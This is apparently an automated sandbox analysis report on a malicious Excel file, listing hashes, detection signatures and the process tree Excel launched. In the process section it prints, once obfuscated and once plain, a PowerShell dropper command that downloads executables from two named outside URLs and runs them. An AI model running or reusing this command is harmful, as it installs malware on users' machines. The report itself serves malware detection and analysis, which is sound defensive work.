Analysis
-
max time kernel
47s -
max time network
38s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
22-07-2024 22:18
Behavioral task
behavioral1
Sample
522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls
Resource
win10v2004-20240704-en
General
-
Target
522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls
-
Size
50KB
-
MD5
be48c26f93d365d34256f295518f7c5f
-
SHA1
678bcb970e4b656ab4de7d92b3937d071f0fbf11
-
SHA256
522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595
-
SHA512
a1d865d727fa270b759513e5472588b3045d948d4218a4043cfe3537a24231f5c93087da0eb8c7c4887c032e80693796858ba71d111373277a2e020bd19e5c5f
-
SSDEEP
768:cnvd4joBriV7prNEPrW+L7uXjNyEnQm0:cmjoBri3mzhPUJyY
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 348 1248 CMd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 24 2468 powershell.exe -
pid Process 2468 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1248 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2468 powershell.exe 2468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2468 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE 1248 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1248 wrote to memory of 348 1248 EXCEL.EXE 87 PID 1248 wrote to memory of 348 1248 EXCEL.EXE 87 PID 348 wrote to memory of 2468 348 CMd.exe 89 PID 348 wrote to memory of 2468 348 CMd.exe 89
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\SYSTEM32\CMd.exeCMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:348 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2468
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize2KB
MD5c094e7aa8ea9555a3e92c1587730db5c
SHA1c509e0eb96cba7a5161c98d305d8a6748b9b0f8f
SHA256c8e7e1b5e887eae48d35fb270a7ef6dbd20fd82bd705b7dd8b79c9a4906c382a
SHA512e6a40766f4778e2536f1c4ce6184048533d71c7bbe5d1af8a9ad84ec86d32d83ab94e4743990fbf028f5999787910ab0a44e3e4969fce975a982ab11d3b5563e